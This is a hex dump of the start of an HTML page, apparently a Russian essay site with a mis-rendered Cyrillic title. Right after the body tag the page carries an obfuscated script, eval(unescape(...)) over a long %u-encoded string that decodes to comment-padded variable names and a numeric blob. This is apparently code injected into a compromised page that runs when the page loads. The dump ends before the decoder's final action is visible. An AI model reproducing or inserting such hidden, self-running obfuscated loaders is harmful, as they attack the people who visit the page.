| 0: | 3C | 68 | 74 | 6D | 6C | 3E | 0A | 3C | 68 | 65 | 61 | 64 | 3E | 0A | 3C | 74 | 69 | 74 | 6C | 65 | 3E | F0 | E5 | F4 | E5 | F0 | E0 | F2 | FB | 20 | F3 | F8 | | <html>
<head>
<title>ðåôåðàòû óø |
| 32: | E8 | E1 | FB | 0A | 3C | 2F | 74 | 69 | 74 | 6C | 65 | 3E | 0A | 3C | 6D | 65 | 74 | 61 | 20 | 68 | 74 | 74 | 70 | 2D | 65 | 71 | 75 | 69 | 76 | 3D | 22 | 43 | | èáû
</title>
<meta http-equiv="C |
| 64: | 6F | 6E | 74 | 65 | 6E | 74 | 2D | 54 | 79 | 70 | 65 | 22 | 20 | 63 | 6F | 6E | 74 | 65 | 6E | 74 | 3D | 22 | 74 | 65 | 78 | 74 | 2F | 68 | 74 | 6D | 6C | 3B | | ontent-Type" content="text/html; |
| 96: | 20 | 63 | 68 | 61 | 72 | 73 | 65 | 74 | 3D | 77 | 69 | 6E | 64 | 6F | 77 | 73 | 2D | 31 | 32 | 35 | 31 | 22 | 3E | 0A | 3C | 62 | 6F | 64 | 79 | 20 | 62 | 67 | | charset=windows-1251">
<body bg |
| 128: | 63 | 6F | 6C | 6F | 72 | 3D | 22 | 6F | 72 | 61 | 6E | 67 | 65 | 22 | 20 | 74 | 65 | 78 | 74 | 3D | 22 | 67 | 72 | 65 | 65 | 6E | 22 | 20 | 6C | 69 | 6E | 6B | | color="orange" text="green" link |
| 160: | 3D | 22 | 79 | 65 | 6C | 6C | 6F | 77 | 22 | 20 | 76 | 6C | 69 | 6E | 6B | 3D | 22 | 6F | 72 | 61 | 6E | 67 | 65 | 22 | 20 | 61 | 6C | 69 | 6E | 6B | 3D | 22 | | ="yellow" vlink="orange" alink=" |
| 192: | 62 | 6C | 75 | 65 | 22 | 3E | 3C | 73 | 63 | 72 | 69 | 70 | 74 | 3E | 65 | 76 | 61 | 6C | 28 | 75 | 6E | 65 | 73 | 63 | 61 | 70 | 65 | 28 | 27 | 25 | 75 | 30 | | blue"><script>eval(unescape('%u |
| 224: | 30 | 32 | 66 | 25 | 75 | 30 | 30 | 32 | 61 | 25 | 75 | 30 | 30 | 37 | 61 | 25 | 75 | 30 | 30 | 37 | 61 | 25 | 75 | 30 | 30 | 32 | 61 | 25 | 75 | 30 | 30 | 32 | | 2f%u 2a%u 7a%u 7a%u 2a%u 2 |
| 256: | 66 | 25 | 75 | 30 | 30 | 37 | 36 | 25 | 75 | 30 | 30 | 36 | 31 | 25 | 75 | 30 | 30 | 37 | 32 | 25 | 75 | 30 | 30 | 32 | 66 | 25 | 75 | 30 | 30 | 32 | 61 | 25 | | f%u 76%u 61%u 72%u 2f%u 2a% |
| 288: | 75 | 30 | 30 | 36 | 65 | 25 | 75 | 30 | 30 | 36 | 66 | 25 | 75 | 30 | 30 | 36 | 31 | 25 | 75 | 30 | 30 | 36 | 66 | 25 | 75 | 30 | 30 | 37 | 35 | 25 | 75 | 30 | | u 6e%u 6f%u 61%u 6f%u 75%u |
| 320: | 30 | 37 | 35 | 25 | 75 | 30 | 30 | 37 | 61 | 25 | 75 | 30 | 30 | 32 | 61 | 25 | 75 | 30 | 30 | 32 | 66 | 25 | 75 | 30 | 30 | 36 | 64 | 25 | 75 | 30 | 30 | 36 | | 75%u 7a%u 2a%u 2f%u 6d%u 6 |
| 352: | 36 | 25 | 75 | 30 | 30 | 37 | 33 | 25 | 75 | 30 | 30 | 36 | 34 | 25 | 75 | 30 | 30 | 36 | 66 | 25 | 75 | 30 | 30 | 37 | 31 | 25 | 75 | 30 | 30 | 33 | 64 | 25 | | 6%u 73%u 64%u 6f%u 71%u 3d% |
| 384: | 75 | 30 | 30 | 32 | 32 | 25 | 75 | 30 | 30 | 33 | 30 | 25 | 75 | 30 | 30 | 33 | 34 | 25 | 75 | 30 | 30 | 33 | 36 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | | u 22%u 3 %u 34%u 36%u 31%u |
| 416: | 30 | 33 | 36 | 25 | 75 | 30 | 30 | 33 | 34 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 34 | 25 | 75 | 30 | 30 | 33 | 33 | 25 | 75 | 30 | 30 | 33 | | 36%u 34%u 31%u 34%u 33%u 3 |
| 448: | 31 | 25 | 75 | 30 | 30 | 33 | 36 | 25 | 75 | 30 | 30 | 33 | 30 | 25 | 75 | 30 | 30 | 33 | 30 | 25 | 75 | 30 | 30 | 33 | 37 | 25 | 75 | 30 | 30 | 33 | 38 | 25 | | 1%u 36%u 3 %u 3 %u 37%u 38% |
| 480: | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 39 | 25 | 75 | 30 | 30 | 33 | 30 | 25 | 75 | 30 | 30 | 33 | 39 | 25 | 75 | 30 | | u 31%u 35%u 39%u 3 %u 39%u |
| 512: | 30 | 33 | 34 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 30 | 25 | 75 | 30 | 30 | 33 | 37 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | | 34%u 31%u 3 %u 37%u 31%u 3 |
| 544: | 34 | 25 | 75 | 30 | 30 | 33 | 36 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 37 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | | 4%u 36%u 31%u 35%u 37%u 31% |
| 576: | 75 | 30 | 30 | 33 | 34 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 36 | 25 | 75 | 30 | 30 | 33 | 33 | 25 | 75 | 30 | | u 34%u 35%u 31%u 36%u 33%u |
| 608: | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 34 | 25 | 75 | 30 | 30 | 33 | | 31%u 35%u 35%u 31%u 34%u 3 |
| 640: | 37 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 36 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 36 | 25 | | 7%u 31%u 35%u 36%u 31%u 36% |
| 672: | 75 | 30 | 30 | 33 | 32 | 25 | 75 | 30 | 30 | 33 | 30 | 25 | 75 | 30 | 30 | 33 | 39 | 25 | 75 | 30 | 30 | 33 | 32 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | | u 32%u 3 %u 39%u 32%u 31%u |
| 704: | 30 | 33 | 34 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 36 | 25 | 75 | 30 | 30 | 33 | 30 | 25 | 75 | 30 | 30 | 33 | | 34%u 35%u 31%u 36%u 3 %u 3 |
| 736: | 31 | 25 | 75 | 30 | 30 | 33 | 34 | 25 | 75 | 30 | 30 | 33 | 37 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 34 | 25 | 75 | 30 | 30 | 33 | 33 | 25 | | 1%u 34%u 37%u 31%u 34%u 33% |
| 768: | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 36 | 25 | 75 | 30 | 30 | 33 | 32 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 34 | 25 | 75 | 30 | | u 31%u 36%u 32%u 31%u 34%u |
| 800: | 30 | 33 | 37 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | | 37%u 31%u 31%u 35%u 31%u 3 |
| 832: | 35 | 25 | 75 | 30 | 30 | 33 | 34 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 34 | 25 | 75 | 30 | 30 | 33 | 37 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | | 5%u 34%u 31%u 34%u 37%u 31% |
| 864: | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 34 | 25 | 75 | 30 | 30 | 33 | 37 | 25 | 75 | 30 | | u 35%u 35%u 31%u 34%u 37%u |
| 896: | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 36 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 36 | 25 | 75 | 30 | 30 | 33 | | 31%u 35%u 36%u 31%u 36%u 3 |
| 928: | 32 | 25 | 75 | 30 | 30 | 33 | 30 | 25 | 75 | 30 | 30 | 33 | 38 | 25 | 75 | 30 | 30 | 33 | 36 | 25 | 75 | 30 | 30 | 33 | 30 | 25 | 75 | 30 | 30 | 33 | 38 | 25 | | 2%u 3 %u 38%u 36%u 3 %u 38% |
| 960: | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | | u 35%u 31%u 35%u 31%u 31%u |
| 992: | 30 | 33 | 34 | 25 | 75 | 30 | 30 | 33 | 38 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 36 | 25 | 75 | 30 | 30 | 33 | 30 | 25 | 75 | 30 | 30 | 33 | | 34%u 38%u 31%u 36%u 3 %u 3 |
| 1024: | 31 | 25 | 75 | 30 | 30 | 33 | 34 | 25 | 75 | 30 | 30 | 33 | 33 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | | 1%u 34%u 33%u 31%u 35%u 35% |
| 1056: | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 34 | 25 | 75 | 30 | 30 | 33 | 37 | 25 | 75 | 30 | 30 | 33 | 30 | 25 | 75 | 30 | 30 | 33 | 38 | 25 | 75 | 30 | | u 31%u 34%u 37%u 3 %u 38%u |
| 1088: | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 30 | 25 | 75 | 30 | 30 | 33 | 38 | 25 | 75 | 30 | 30 | 33 | 37 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | | 35%u 3 %u 38%u 37%u 31%u 3 |
| 1120: | 30 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 39 | 25 | 75 | 30 | 30 | 33 | 30 | 25 | | %u 35%u 31%u 35%u 39%u 3 % |
| 1152: | 75 | 30 | 30 | 33 | 39 | 25 | 75 | 30 | 30 | 33 | 34 | 25 | 75 | 30 | 30 | 33 | 30 | 25 | 75 | 30 | 30 | 33 | 39 | 25 | 75 | 30 | 30 | 33 | 32 | 25 | 75 | 30 | | u 39%u 34%u 3 %u 39%u 32%u |
| 1184: | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 36 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 36 | 25 | 75 | 30 | 30 | 33 | | 31%u 36%u 31%u 31%u 36%u 3 |
| 1216: | 30 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 34 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 30 | 25 | | %u 31%u 34%u 35%u 31%u 3 % |
| 1248: | 75 | 30 | 30 | 33 | 37 | 25 | 75 | 30 | 30 | 33 | 30 | 25 | 75 | 30 | 30 | 33 | 38 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | | u 37%u 3 %u 38%u 35%u 31%u |
| 1280: | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 30 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 36 | 25 | 75 | 30 | 30 | 33 | 32 | 25 | 75 | 30 | 30 | 33 | | 35%u 3 %u 31%u 36%u 32%u 3 |
| 1312: | 31 | 25 | 75 | 30 | 30 | 33 | 36 | 25 | 75 | 30 | 30 | 33 | 32 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 38 | 25 | | 1%u 36%u 32%u 31%u 35%u 38% |
| 1344: | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 30 | 25 | 75 | 30 | 30 | 33 | 34 | 25 | 75 | 30 | 30 | 33 | 30 | 25 | 75 | 30 | 30 | 33 | 39 | 25 | 75 | 30 | | u 31%u 3 %u 34%u 3 %u 39%u |
| 1376: | 30 | 33 | 33 | 25 | 75 | 30 | 30 | 33 | 30 | 25 | 75 | 30 | 30 | 33 | 39 | 25 | 75 | 30 | 30 | 33 | 33 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | | 33%u 3 %u 39%u 33%u 31%u 3 |
| 1408: | 36 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 36 | 25 | 75 | 30 | 30 | 33 | 32 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | | 6%u 31%u 31%u 36%u 32%u 31% |
| 1440: | 75 | 30 | 30 | 33 | 34 | 25 | 75 | 30 | 30 | 33 | 33 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 36 | 25 | 75 | 30 | 30 | 33 | 30 | 25 | 75 | 30 | | u 34%u 33%u 31%u 36%u 3 %u |
| 1472: | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 36 | 25 | 75 | 30 | 30 | 33 | 32 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 34 | 25 | 75 | 30 | 30 | 33 | | 31%u 36%u 32%u 31%u 34%u 3 |
| 1504: | 36 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 37 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | | 6%u 31%u 35%u 37%u 31%u 35% |
| 1536: | 75 | 30 | 30 | 33 | 36 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 36 | 25 | 75 | 30 | 30 | 33 | 32 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | | u 36%u 31%u 36%u 32%u 31%u |
| 1568: | 30 | 33 | 36 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 36 | 25 | 75 | 30 | 30 | 33 | 32 | 25 | 75 | 30 | 30 | 33 | | 36%u 31%u 31%u 36%u 32%u 3 |
| 1600: | 31 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 37 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 38 | 25 | | 1%u 35%u 37%u 31%u 35%u 38% |
| 1632: | 75 | 30 | 30 | 33 | 30 | 25 | 75 | 30 | 30 | 33 | 39 | 25 | 75 | 30 | 30 | 33 | 32 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 36 | 25 | 75 | 30 | | u 3 %u 39%u 32%u 31%u 36%u |
| 1664: | 30 | 33 | 30 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 36 | 25 | 75 | 30 | 30 | 33 | 33 | 25 | 75 | 30 | 30 | 33 | 30 | 25 | 75 | 30 | 30 | 33 | | 3 %u 31%u 36%u 33%u 3 %u 3 |
| 1696: | 39 | 25 | 75 | 30 | 30 | 33 | 33 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | | 9%u 33%u 31%u 35%u 35%u 31% |
| 1728: | 75 | 30 | 30 | 33 | 34 | 25 | 75 | 30 | 30 | 33 | 33 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | | u 34%u 33%u 31%u 35%u 31%u |
| 1760: | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 36 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 36 | 25 | 75 | 30 | 30 | 33 | | 31%u 35%u 36%u 31%u 36%u 3 |
| 1792: | 31 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 36 | 25 | 75 | 30 | 30 | 33 | 32 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 34 | 25 | | 1%u 31%u 36%u 32%u 31%u 34% |
| 1824: | 75 | 30 | 30 | 33 | 33 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 36 | 25 | 75 | 30 | 30 | 33 | 30 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | | u 33%u 31%u 36%u 3 %u 31%u |
| 1856: | 30 | 33 | 36 | 25 | 75 | 30 | 30 | 33 | 32 | 25 | 75 | 30 | 30 | 33 | 30 | 25 | 75 | 30 | 30 | 33 | 39 | 25 | 75 | 30 | 30 | 33 | 32 | 25 | 75 | 30 | 30 | 33 | | 36%u 32%u 3 %u 39%u 32%u 3 |
| 1888: | 31 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 30 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 36 | 25 | 75 | 30 | 30 | 33 | 32 | 25 | | 1%u 35%u 3 %u 31%u 36%u 32% |
| 1920: | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | | u 31%u 35%u 35%u 31%u 35%u |
| 1952: | 30 | 33 | 34 | 25 | 75 | 30 | 30 | 33 | 30 | 25 | 75 | 30 | 30 | 33 | 38 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | | 34%u 3 %u 38%u 35%u 31%u 3 |
| 1984: | 30 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 39 | 25 | 75 | 30 | 30 | 33 | 30 | 25 | | %u 35%u 31%u 35%u 39%u 3 % |
| 2016: | 75 | 30 | 30 | 33 | 39 | 25 | 75 | 30 | 30 | 33 | 34 | 25 | 75 | 30 | 30 | 33 | 30 | 25 | 75 | 30 | 30 | 33 | 39 | 25 | 75 | 30 | 30 | 33 | 32 | 25 | 75 | 30 | | u 39%u 34%u 3 %u 39%u 32%u |
| 2048: | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 36 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 36 | 25 | 75 | 30 | 30 | 33 | | 31%u 36%u 31%u 31%u 36%u 3 |
| 2080: | 32 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 36 | 25 | 75 | 30 | 30 | 33 | 37 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | | 2%u 31%u 36%u 37%u 31%u 35% |
| 2112: | 75 | 30 | 30 | 33 | 34 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 34 | 25 | 75 | 30 | 30 | 33 | 37 | 25 | 75 | 30 | 30 | 33 | 30 | 25 | 75 | 30 | | u 34%u 31%u 34%u 37%u 3 %u |
| 2144: | 30 | 33 | 39 | 25 | 75 | 30 | 30 | 33 | 32 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 34 | 25 | 75 | 30 | 30 | 33 | 36 | 25 | 75 | 30 | 30 | 33 | | 39%u 32%u 31%u 34%u 36%u 3 |
| 2176: | 31 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 36 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | | 1%u 35%u 31%u 31%u 36%u 31% |
| 2208: | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 38 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | | u 31%u 35%u 38%u 31%u 35%u |
| 2240: | 30 | 33 | 34 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 34 | 25 | 75 | 30 | 30 | 33 | 33 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | | 34%u 31%u 34%u 33%u 31%u 3 |
| 2272: | 36 | 25 | 75 | 30 | 30 | 33 | 37 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 30 | 25 | 75 | 30 | 30 | 33 | 37 | 25 | 75 | 30 | 30 | 33 | 30 | 25 | | 6%u 37%u 31%u 3 %u 37%u 3 % |
| 2304: | 75 | 30 | 30 | 33 | 38 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 36 | 25 | 75 | 30 | | u 38%u 35%u 31%u 35%u 36%u |
| 2336: | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 37 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | | 31%u 35%u 37%u 31%u 35%u 3 |
| 2368: | 36 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 34 | 25 | 75 | 30 | 30 | 33 | 37 | 25 | 75 | 30 | 30 | 33 | 30 | 25 | 75 | 30 | 30 | 33 | 38 | 25 | | 6%u 31%u 34%u 37%u 3 %u 38% |
| 2400: | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 30 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | | u 35%u 31%u 3 %u 35%u 31%u |
| 2432: | 30 | 33 | 34 | 25 | 75 | 30 | 30 | 33 | 36 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 37 | 25 | 75 | 30 | 30 | 33 | | 34%u 36%u 31%u 35%u 37%u 3 |
| 2464: | 31 | 25 | 75 | 30 | 30 | 33 | 34 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 36 | 25 | 75 | 30 | 30 | 33 | 33 | 25 | | 1%u 34%u 35%u 31%u 36%u 33% |
| 2496: | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 34 | 25 | 75 | 30 | | u 31%u 35%u 35%u 31%u 34%u |
| 2528: | 30 | 33 | 37 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 36 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | | 37%u 31%u 35%u 36%u 31%u 3 |
| 2560: | 36 | 25 | 75 | 30 | 30 | 33 | 32 | 25 | 75 | 30 | 30 | 33 | 30 | 25 | 75 | 30 | 30 | 33 | 39 | 25 | 75 | 30 | 30 | 33 | 32 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | | 6%u 32%u 3 %u 39%u 32%u 31% |
| 2592: | 75 | 30 | 30 | 33 | 34 | 25 | 75 | 30 | 30 | 33 | 34 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 37 | 25 | 75 | 30 | | u 34%u 34%u 31%u 35%u 37%u |
| 2624: | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 34 | 25 | 75 | 30 | 30 | 33 | 36 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 36 | 25 | 75 | 30 | 30 | 33 | | 31%u 34%u 36%u 31%u 36%u 3 |
| 2656: | 37 | 25 | 75 | 30 | 30 | 33 | 30 | 25 | 75 | 30 | 30 | 33 | 39 | 25 | 75 | 30 | 30 | 33 | 32 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 34 | 25 | | 7%u 3 %u 39%u 32%u 31%u 34% |
| 2688: | 75 | 30 | 30 | 33 | 33 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 38 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | | u 33%u 31%u 35%u 38%u 31%u |
| 2720: | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 38 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 34 | 25 | 75 | 30 | 30 | 33 | 37 | 25 | 75 | 30 | 30 | 33 | | 35%u 38%u 31%u 34%u 37%u 3 |
| 2752: | 31 | 25 | 75 | 30 | 30 | 33 | 35 | 25 | 75 | 30 | 30 | 33 | 36 | 25 | 75 | 30 | 30 | 33 | 31 | 25 | 75 | 30 | 30 | 33 | 34 | 25 | 75 | 30 | 30 | 33 | 36 | 25 | | 1%u 35%u 36%u 31%u 34%u 36% |
